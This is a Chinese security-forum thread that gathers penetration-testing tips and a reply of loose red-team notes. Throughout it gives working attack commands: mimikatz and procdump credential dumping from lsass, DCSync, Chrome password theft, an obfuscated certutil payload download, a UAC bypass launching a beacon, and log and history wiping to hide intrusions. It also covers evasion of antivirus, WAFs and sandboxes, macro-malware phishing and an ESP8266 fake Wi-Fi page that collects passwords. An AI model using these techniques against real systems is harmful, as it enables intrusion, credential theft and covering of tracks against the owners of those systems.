Windows系统支持Logon Scripts,Logon Scripts是在系统启动时执行,执行顺序要优先于杀毒软件,当然,杀毒软件无法拦截Logon Scripts中脚本的操作(杀毒软件尚未启动)

关键在于杀毒软件会不会拦截Logon Scripts的配置使用

使用特殊操作添加Logon Scripts,杀毒软件不会拦截

注:

以上提到的杀毒软件是指“部分”杀毒软件,并不通用

参考:

《Use Logon Scripts to maintain persistence》

Tips 42 编译c#程序注意事项
使用Visual Studio:

项目名要同namespace指定的名称对应,如果不对应,可在项目-属性-程序集名称中修改,否则生成的dll无法使用

使用csc.exe:

eg.

using System;
using System.Diagnostics;

namespace TestDotNet
{
   public class Class1
   {
      static Class1()
      {
         Process.Start("cmd.exe");
         Environment.Exit(0);
      }
   }
}
保存为TestDotNet.cs,直接使用csc.exe生成就好:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library TestDotNet.cs

如果保存为a.cs,那么需要加/out参数指定输出文件为TestDotNet.dll,这样程序集名称也默认为TestDotNet(同源代码对应),否则,dll虽然能够被加载,但无法执行,参数如下:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library /out:TestDotNet.dll a.cs

Tips 43 使用net use远程连接的端口问题
使用net use远程连接,目标如果开启了NetBIOS over TCP/IP,那么:

目标同时开放139和445端口,系统优先使用445端口连接

目标禁用445端口,可使用139端口连接

目标如果禁用了NetBIOS over TCP/IP,那么:

目标禁用445端口,无法连接

Tips 44 获得TrustedInstaller权限
启动服务TrustedInstaller,通过Token复制来获得TrustedInstaller权限

常用方法:

SelectMyParent

Invoke-TokenManipulation.ps1

incognito

参考:

渗透技巧——Token窃取与利用

Tips 45 3389远程连接
1、查询系统是否允许3389远程连接:
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

1表示关闭,0表示开启

查看远程连接的端口:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

2、本机开启3389远程连接的方法
方法1:通过cmd

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
方法2:通过reg文件

内容如下:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"ortNumber"=dword:00000d3d
导入注册表:

regedit /s a.reg

注:

修改连接端口重启后生效

补充

如果系统未配置过远程桌面服务,第一次开启时还需要添加防火墙规则,允许3389端口,命令如下:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

3、远程连接方法
kali使用3389远程连接:

rdesktop 192.168.1.1:3389

Windows:

mstsc.exe

非服务器版本的Windows系统,默认只允许一个账户登录

具体表现为:

远程登录时,使用与原系统相同的账户,原系统将被切换到登录界面

使用不同的账户,原系统桌面将弹框提示是否断开当前连接(30秒后默认选择同意)

解决方法:

使用mimikatz.exe,执行ts::multirdp允许多用户远程登录

能够实现不同帐户远程登录不冲突,原系统桌面不会弹框提示

当然,使用与原系统相同的账户,原系统还是会被切换到登录界面

注:

该方法在系统重启后失效,下次使用需要重新执行命令ts::multirdp

也可通过修改文件termsrv.dll实现永久修改

参考:

《渗透技巧——Windows系统远程桌面的多用户登录》

Tips 46 使用netsh修改远程系统的防火墙规则
远程系统需要允许Windows防火墙远程管理,开启命令如下:

netsh advfirewall set currentprofile settings remotemanagement enable

eg.

netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow
参考:

《域渗透——利用DCOM在远程系统执行程序》

Tips 47 劫持UAC
当弹出UAC提示框的时候,执行任意代码,可通过修改注册表劫持签名验证的功能,插入payload

参考:

《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》

Tips 48 PE文件的Authenticode签名伪造
通过修改注册表,能够给PE文件添加微软证书

参考:

《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》

《Authenticode签名伪造——针对文件类型的签名伪造》

Tips 49 PE文件的Catalog签名伪造
构造Long UNC文件名,实现文件名欺骗,获得Catalog签名

参考:

《Catalog签名伪造——Long UNC文件名欺骗》

Tips 50 mklink
用于创建符号链接,可理解为快捷方式

创建目录c:\test\1,指向c:\temp,可使用以下操作:

(1) 使用/D参数命令创建一个链接:

mklink /D "c:\test\1" "c:\Temp"

(2) 使用/J参数命令创建一个联接:

mklink /J "c:\test\1" "c:\Temp"

差异:

使用/D参数创建的链接,文件属性多了"快捷方式"

使用/J不需要管理员权限

使用/D需要管理员权限

应用:

更改释放文件的路径

Tips 51 powershell在执行脚本时传入参数
powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCerts"

powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command ""log ""privilege::debug"" ""sekurlsa::logonpasswords"""""
Tips 52 dll注入方法
1、APC
参考:

《通过APC实现Dll注入——绕过Sysmon监控》

2、process hollowing
参考:

《傀儡进程的实现与检测》

3、Process Doppelgänging
参考:

《Process Doppelganging利用介绍》

Tips 53 域内默认共享目录
\\<DOMAIN>\SYSVOL\<DOMAIN>\
所有域内主机都能访问,里面保存组策略相关数据,包含登录脚本配置文件等

参考:

《域渗透——利用SYSVOL还原组策略中保存的密码》

Tips 54 你的TeamViewer有可能被反控
如果你的TeamViewer版本为13.0.5058,不要随意连接未知的TeamViewer服务器,有可能被反控

参考:

《TeamViewer 13.0.5058中的权限漏洞测试》

Tips 55 远程查看域控登录、注销相关的日志:
方法1:
wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password
方法2:
(不推荐,直接下载文件太大)

获取域控文件:C:\Windows\System32\winevt\Logs\Security.evtx,筛选事件4624/4623/4672

Tips 56 判断当前系统是否处在待机状态
锁屏状态下GetForegroundWindow()的函数返回值为NULL,非锁屏状态下GetForegroundWindow()的函数返回值为一个非零的值

参考:

https://stackoverflow.com/questi ... windows-lock-screen

Powershell脚本实现:

https://github.com/3gstudent/Writeup/blob/master/CheckStandby.ps1

Tips 57 获得当前系统用户无输入的时间
通过API GetIdleTime进行判断

c#实现:

https://www.codeproject.com/Arti ... er-idle-time-with-C

powershell脚本实现:

https://github.com/3gstudent/Writeup/blob/master/GetIdleTime.ps1

Tips 58 判断当前系统的屏保启动时间
判断是否开启屏保:

查找注册表HKEY_CURRENT_USER\Control Panel\Desktop,是否存在键值SCRNSAVE.EXE

REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE
如果开启屏保,查看键值ScreenSaveTimeOut获得屏保启动时间(以秒为单位)

REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut
Tips 59 隐藏指定进程的界面
通过API ShowWindowAsync改变窗口状态

通过powershell实现,脚本可参考:

https://github.com/3gstudent/Wri ... r/HiddenProcess.ps1

Tips 60 通过Powershell对Windows系统截屏
脚本下载地址:

https://gallery.technet.microsof ... Take-ScreenShot.ps1

Tips 61 查看当前Windows系统已安装的程序
通过枚举注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall下所有子健的DisplayName获取

注:

64位系统下32位程序的目录为HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall

powershell脚本实现的参考地址:

https://github.com/3gstudent/ListInstalledPrograms

Tips 62 通过wmi获得当前系统的类型
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem get PCSystemType /FORMAT:list
Value        Meaning
0 (0x0)        Unspecified
1 (0x1)        Desktop
2 (0x2)        Mobile
3 (0x3)        Workstation
4 (0x4)        Enterprise Server
5 (0x5)        Small Office and Home Office (SOHO) Server
6 (0x6)        Appliance PC
7 (0x7)        Performance Server
8 (0x8)        Maximum
Tips 63 导出Chrome浏览器保存的密码:
1、在线获取
方法1:

读取数据库文件%LocalAppData%\Google\Chrome\User Data\Default\Login Data,如果Chrome浏览器正在运行,无法直接读取,需要先复制

在当前系统调用API CryptUnprotectData直接解密

方法2:

mimikatz

vault::cred
参考:

《渗透技巧——导出Chrome浏览器中保存的密码》

2、离线获取
使用Master Key,不需要获得用户明文密码

参考:

《渗透技巧——利用Masterkey离线导出Chrome浏览器中保存的密码》

Tips 65 通过ShadowCopy获得系统的历史文件
查询当前系统有无快照:

vssadmin list shadows
访问历史快照中的文件:

mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy15\
dir c:\testvsc
参考:

《域渗透——获得域控服务器的NTDS.dit文件》

Tips 64 命令行执行多条命令的方法
aa && bb
执行aa,成功后再执行bb

aa || bb
先执行aa,若执行成功则不再执行bb,若失败则再执行bb

aa & bb
先执行aa再执行bb,无论aa是否成功

Tips 65 通过powershell发送邮件(包含附件)
两种方法,代码可参考:

https://github.com/3gstudent/SendMail-with-Attachments

Tips 66 通过powershell读取注册表获得所有用户的远程桌面连接历史记录
默认读注册表只能获取当前已登录用户的注册表信息,可通过reg load加载配置单元获得未登录用户的注册表配置

代码可参考:

https://github.com/3gstudent/ListInstalledPrograms
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
发表于 2022-4-10 14:40:00 | 显示全部楼层
每5000字一个tips结尾

小tips2

‘反引号可以在xxs中绕过,不可以在sql中,但是好像在网站中可以

学校的英语听远程定时关机重启开机,开关显示屏

```
linux关闭显示器命令:xset dpms force off
win:可以命令修改休眠时间,命令定时开启机器
```

1. **第一点**:写http隧道马的时候,用哥斯拉直接编辑新建一个隧道马,但是连接的时候报错,可能是哥斯拉出现了数据断流,导致写进去的文件缺东西了,后来直接把隧道马传上去就不报错了。
2. **第二点**:网上的例子大多数都用pystinger反代cs服务端来处理这种不出网上线cs的情况,但是可能因为目标网络环境的不一样导致各种玄学报错,所以Pystinger的局限性还是很大的,而且Pystinger客户端还不免杀。
3. **第三点**:正向shell免杀,不多说的,cs的无阶段木马都是这样,无法通过混淆加载器的方法免杀。
4. **第四点**:正向shell的提权,cs插件提权只能反弹一个反射型的shell,无法反弹正向shell。
5. **第五点**:有趣的是,无阶段木马是能生成powershell脚本的,而powershell脚本是很好混淆免杀的,但是目标是server2016,默认开启AMSI,混淆免杀在它面前形同虚设。(要是目标是2012、2008系统就可以通过powershell正向bind上线)



alt+鼠标拖动可以进行按列选取

sqlmap-----shell

-priv和-osshell的使用  可以直接上传转换为自己的或者sqlmap自带的aspx码。php码等,还可以利用上传的码转发给msf。cs,或者转换新码加固。转到msf,cs后可以进行进程转发。注入进程等



拿到spn票据然后破解可以得到域的密码(kali有相关的工具)



ls -l /etc/passwd的返回种 -rw-r- -r- -表示/etc/passwd文件不允许除root以外的用户进行写入,但passwd命令可以(通过setuid机制)临时以root权限来运行

-r-s- -x- -x中的 r-s  这里的s表示该程序以启用setuid

-rws- -x- -x 中的rws表示已经启用了setuid



s 192.168.8.6       p 4000           i 10.0.92.92

G 10.0.92.1  M 255.255.252.0

s应该是服务端,p是端口,i是ipv4,g是网关,m是子网掩码



```
声东击西,其实已经沦陷了别人在偷数据你们却被大量无用日志一叶障目。:偷数据的同时增加大量各种日志

,你完全可以用任何编码、加密算法,来发送你的 payload, 前提是你的 webshell 里面有对应的解码、解密算法。比如说你可以在 base64 数据前面随机加几个字符,导致 base64 无法直接解码,或者,你还可以像下面这样,直接用 zlib 把 payload 压缩之后再进行 base64 编码发送:

当然了,针对 WAF最爱的 eval、base64_decode 等关键字,会强制进行拆分,美中不足的是,目前 nodejs 对畸形chunk支持还不是很好,无法发送畸形的 chunk 包。当然这种方式也是利用的 WAF 对该类型的报文解析不完善。有个思路是,你可以自己写一个 Proxy 来专门把普通的包转成畸形包。

图片

聪明的你是不是已经想到了,burp 有个插件 chunked-converter 就可以完成这件事,不过你需要自己改改他的代码。

这种传输方式,要想检测到,WAF也得相应的支持对 chunk 分块传输的解析,在接到数据包的时候需要把之前的报文能关联起来进行分析。还是那句话,考虑性能

很多免杀都是将shellcode加载器写到一个文件中去,再使用另外一个脚本调用,多层调用,多层加密,加壳


```

```
最近看到一个文章《Rust 是可能编程的未来》,现在看到了php利用web java利用反序列化,python写poc,nim,go啥的都可以写攻击脚本和攻击工具,c/c++语言最底层编译,二进制做逆向。再加上现在的rust有一种未来会成为主流开发人员利用工具,且可以在多种领域使用。将来网站也可能是用rust作为一种开发手段。 而这种工具随着历史的推移也会不断进步迭代。渗透人改如何跟进甚至超越时代脚步。用自身的态势感知去掌握先进工具的利用,编写红队工具等方法来充分利用这些工具。渗透人该怎么去适应这种趋势呢?这是一个值得思考的问题。
```

能联网就能反向连接

pyinstxtractor.py居然可以破解`pyinstaller --key -F `参数加密打包的文件。

而且生成的_key文件里面有密码



,CS生成的ShellCode只是一段下载者。主要功能为下载becon.dll,然后内存加载,我们所用的相关功能都在becon里。ShellCode可能采用汇编或VC编写后转成机器码提取关键机器码,优势在于体积小。体积小就可以直接结合漏洞使用

**
指令:** 命令cpu干什么,是由操作码字段和地址码字段(操作数字段)组成

**操作码(Opcode):** 就是执行某种操作的命令代码

**BYTECODE(字节码):**与机器代码相同,除了它主要由基于软件的解释器(如Java或CLR)使用**
**

**程序集:**有两个“程序集” – 一个汇编程序是一系列的助记符和操作数,它们被馈送到“汇编程序”,“**汇编程序**”将助记符和操作数“汇编成可执行的机器代码”.可选地,“链接器”链接组件并生成可执行文件.

**CLR语言:**(.NET语言)中的第二个“程序集”是一系列CLR代码,其中注入了元数据信息,可执行代码库,但不能直接执行.

**ShellCode**是子弹,用枪发射(好比处理器执行); 无论你用的是哪种子弹(ShellCode),都是用枪来射(处理器执行)。

**Payload:** K8的理解是弹药,弹药可装填到弹壳里用,也可直接点然,也可圈起来当成炮仗点燃,但是弹药不能直接被枪发射。

推荐挖挖培训机构(不少都是上市公司,而且对安全这一块相对不怎么重视)

```
利用procdump+Mimikatz来读取windows明文密码。

由于prodump.exe是微软系统自带,有微软的签名证书,所以杀软不会拦截。
\# lsass.dmp保存至当前目录
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
\# 脱回本地,猕猴桃(mimikatz)读取明文密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
```

断网状态下登录之前登录过的svip账户再连接上网络就能继续使用

win dir等于linux ls


socks5不支持icmp协议   不能ping

shell进入后 权限不够高,可以使用看现有语言环境(php python go c等),根据环境代码进行各种半交互提权

学习游戏打球!!! 2021/11/26 15:25:39
PHP 上传,⽆法上传 php、解析、后台没有办法拿到,只有⼀处点可以上传。通过 Windows 特性 shell.php:DAT,是⼀个项⽬管理系统


这是啥


0、如何利⽤这个防注⼊系统拿 shell?
在 URL ⾥⾯直接提交⼀句话,这样⽹站就把你的⼀句话也记录进数据库⽂件了 这个时候可以尝试寻找⽹站的配置⽂件

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce这个路径,也是能够添加指向程序的路径来实现自启动的,这里跟之前有一点不同的就是这个路径下的key在重启后执行一次就会自动删除,而Run目录下的注册表如果不去管他他会一直存在

copy ab那个是脚本图片码,不是二进制图片码

其实前面这些魔改只是做的表面功夫,真正到实战当中还是会被实力强的杀软秒杀,比如卡巴斯基等。遇到这些对手,需要让beacon和其他后渗透模块高度自定义,这里面涉及到很多方面,静态和行为都需要改造,所以单从魔改CS的客户端、服务端和控制端已经远远不够了,并且灵活度太低,参考快乐鸡哥师傅用C#重写的SharpBeacon(师傅YYDS)。另外,鉴于改造CS的客户端这么麻烦,不如在搞清楚CS的内部原理之后,在外部建设一个Stager生成服务,通过CS的配置动态生成各种语言版本的Stager,这样省去了通过Agent动态替换JAVA指令的麻烦,灵活度大大增加。(stager就是监听器的那些域名或者ip啥的(内容框里是这些,不太好解释,暂时也不太懂))

```
免杀还是具有时效性,如果有不怕时效性甚至能够像Ai一样自我升级

或者说有个很强大的论坛平台或者人群基数,去进行想法创新而产生的维护。这是我未来的一些思考和方向
```



内核溢出是用来提权 不是用来拿shell![img](file:///C:\Users\e'e't\AppData\Roaming\Tencent\QQTempSys\Z}4JA~3{S79KP7UYELJH){7.gif)

拿到 shell 之后,发现有 360 主动防御和 360 杀毒?

**可以试试命令:****`logoff 1` 或者 `logoff 2` ,会有意想不到的效果~**



拿到 shell,将 3389 端口转发出来之后,尝试连接发现出现问题,估计是限制了我这边的 IP 访问。

![图片](../AppData/Roaming/Typora/typora-user-images/640.webp)

解决方法:添加注册表 `AllowEncryptionOracle` 项即可。

参考:https://www.cnblogs.com/lindajia/p/9021082.html

一条命令直接解决(需要在 system32 目录下的 cmd 中执行):

```
REG add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f
```



进入内往后本地开服务,内网连接服务器下载lcx进行端口转发

在命令前加空格,命令不会被记录

```
[空格]cat /etcpasswd
```



坚持把不懂得渗透脚本函数写下来并背下来



cmd隐藏文件    attrib test.txt



通常我们所说的敏感文件、敏感目录大概有以下几种:

•robots.txt•crossdomain.xml•sitemap.xml•后台目录•网站安装目录•网站上传目录•mysql管理页面•phpinfo•网站文本编辑器•测试文件•网站备份文件(.rar、.zip、.7z、.tar、.gz、.bak)•DS_Store文件•vim编辑器备份文件(.swp)•WEB-INF/web.xml文件

蚁剑后渗透模块反弹shell到msf火绒不会查杀

钓鱼的时候先发多发几个文件。前几个就正常查询文件,最后一个做好宏免杀的木马。就行,有的人就一定会一个一个点进去看一看

![图片](E:/typora%E5%9B%BE%E7%89%87/640.webp)



"c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f https:*//url/1.exe 1.exe*

powershell编辑



可以用“您是盗版软件受害者”来钓鱼

可以用shell C:\tmp\bypassuac.exe C:\tmp\beacon.exe来提权



内网信息收集时导出所有spn到文本后,将主机名列出

grep "CN=" spn.txt | awk -F "," {'print $1'} | awk -F "=" {'print $2'} > host.txt



拿下了域控

导出ntds,抓下密码,这里使用mimikatz`lsadump::dcsync /domain:xxx /all /csv command`



```
Bvp47 在 Hook 掉__d_lookup 函数后主要用于自身文件的隐藏和触发自删除 流 程 , 利 用 hook

__d_lookup 来 校 验 上 层 应 用 是 否 试 图 访 问 /usr/bin/modload 文件

Hook devmem_is_allowed 后,用户态的 Bvp47 就可以任意读写内核空间了。

Bvp47 会通过修改内核模块 elf 文件的前四个字节,达到躲避内存搜索 elf 的目的,并通过自己的

lkm loader 进行加载。

BPF(Berkeley Packet Filter)是 Linux 内核中用来过滤自定义格式数据包的内核引擎,它可以提

供一套规定的语言供用户层的普通进程来过滤指定数据包。

Bvp47 直接利用 BPF 的这个特性作为隐蔽信道环节中在 Linux 内核层面的高级技巧,避免直接的

内核网络协议栈 hook 被追踪者检测出来。

其它技术特点

不受信任的程序往往由沙箱运行并监测行为。程序运行时往往并没有真正落地,也就时说此时的

argv[0]所指路径并不是程序的真正路径。程序通过syscall调用lstat,以求绕过SandboxRing3的

Hook,查看argv[0]所指的文件是否真实存在。

**1. 利用setrlimit api来设置core dump文件(内核转存文件)大小0,防止样本提取;**

**2. argv[0]与lstat结合的反沙箱技术;**

mkstmp时用来在Linux /tmp目录下生成临时文件的Api。(猜测时由于当时沙箱并没有对这个Api

提供支持,或者沙箱策略禁用了mkstmp。因此可以用mkstmp调用是否成功来识别沙箱)。

**3. mkstmp 反沙箱技术**

沙箱中的/boot目录下的文件往往只有2个一个文件/boot/.另一个/boot/..。所以只要打开/boot目

录统计/boot目录下的文件个数,往往可以识别沙箱。(Windows上会通过TEMP目录下的临时文

件数)。

**4. /boot 反沙箱技术**

沙箱中的/boot目录下的文件往往只有2个一个文件/boot/.另一个/boot/..。所以只要打开/boot目

录统计/boot目录下的文件个数,往往可以识别沙箱。(Windows上会通过TEMP目录下的临时文

件数)

**5. Aip Flooting 与 延迟执行**

任何沙箱只会为每个样本分配有限的时间。因此调用大量合法Api,以达到延迟执行,用以躲过沙

箱的起爆分析。

rc-x

SYNKn
```

遇到302 如何让sql跑起了

直接在响应包里面让他报错,然后让sqlmap自动识别即可  这个点可以记住



Arduino+esp8266+钓鱼wifi(20RMB)

1. 使用Arduino IDE 然后单片机是用的esp8266(具体编译环境的配置可以参考http://www.taichi-maker.com/
2. 如果只是测试玩的话大概淘宝9.9元也是可以买到的,只不过如果需要带电池单元的话可能就须要再买个电池模块了
3. 步骤是,先把写好的页面写入到闪存里面去,然后再把程序烧录到里面去,插上电就可以搞了
4. 用户连接到我们的wifi(无密码),就会自动弹窗到钓鱼页面中去(这个利用了DNS协议)
5. 用户输入口令到页面中,然后提交,程序就会把信息存储到/info.txt中,也会输出到串口中
6. 钓鱼完成后 使用show_info程序从闪存中读出来信息即可



Ctrl+K+C快速批量注释



winodws桌面:TeamViewerQS单文件

windows下载文件;
certutil -urlcache -split -f https://raw.githubusercontent.co ... VE-2017-11882-v1.py test.py



```
日志清理:

winodws桌面:TeamViewerQS单文件

windows下载文件;
certutil -urlcache -split -f https://raw.githubusercontent.co ... VE-2017-11882-v1.py test.py

防火墙日志路径:%systemroot%\system32\logfiles\
IIS日志路径:%systemroot%\system32\logfles\
windows系统日志:%systemroot%\system32\config\
Scheduler服务日志:%systemroot%\schedlgu.txt
日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx

linux(检索根目录以及上级目录是否存在备份)
1.清空当前用户历史命令并删除相关文件:
history -c
echo “”> /root/.bash_history
echo “”> /var/run/utmp
2.清除部分日志:echo “”> /var/log/secure;全删除如不能删除使用echo依次覆盖:rm -f -r /var/log/*;
/var/log/boot.log:录了系统在引导过程中发生的事件,就是Linux系统开机自检过程显示的信息
/var/log/lastlog :记录最后一次用户成功登陆的时间、登陆IP等信息
/var/log/messages :记录Linux操作系统常见的系统和服务错误信息
/var/log/secure :Linux系统安全日志,记录用户和工作组变坏情况、用户登陆认证情况
/var/log/btmp :记录Linux登陆失败的用户、时间以及远程IP地址
/var/log/syslog:只记录警告信息,常常是系统出问题的信息,使用lastlog查看
/var/log/wtmp:该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件,使用last命令查看
/var/log/maillog 与邮件相关的日志信息
/var/log/cron 与定时任务相关的日志信息
/var/log/spooler 与UUCP和news设备相关的日志信息
/var/log/auth.log 系统授权信息,包括用户登录和使用的权限机制等 (debian)
/var/run/utmp:该日志文件记录有关当前登录的每个用户的信息。如 who、w、users、finger等就需要访问这个文件
```

```
frsocks+protoplex+流量重定向实现端口复用
protoplex是一个协议复用的工具,比如以下命令可将本地9999端口的流量根据协议类型转到本地的2333和80端口。用于绕过云主机的nsg安全规则。
./frsocks -sockstype fsocks -listen 2333  //创建本地监听
./protoplex --socks5 192.168.154.130:2333 --http 127.0.0.1:80 -b 192.168.154.130:9999  //端口分流,根据协议类型转到本地的2333和80端口
重定向命令
linux:
sudo iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 9999
windows:
netsh interface portproxy add v4tov4 listenport=80 listen address=192.168.154.129 connectport=9999 connectaddress=192.168.154.129
1.netsh interface portproxy show all //查看转发规则
2.netsh interface portproxy reset   //清除所有转发规则
```



searchtometerpreter可以从commband shell 进入materpretershell



















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 08:29 , Processed in 0.030104 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表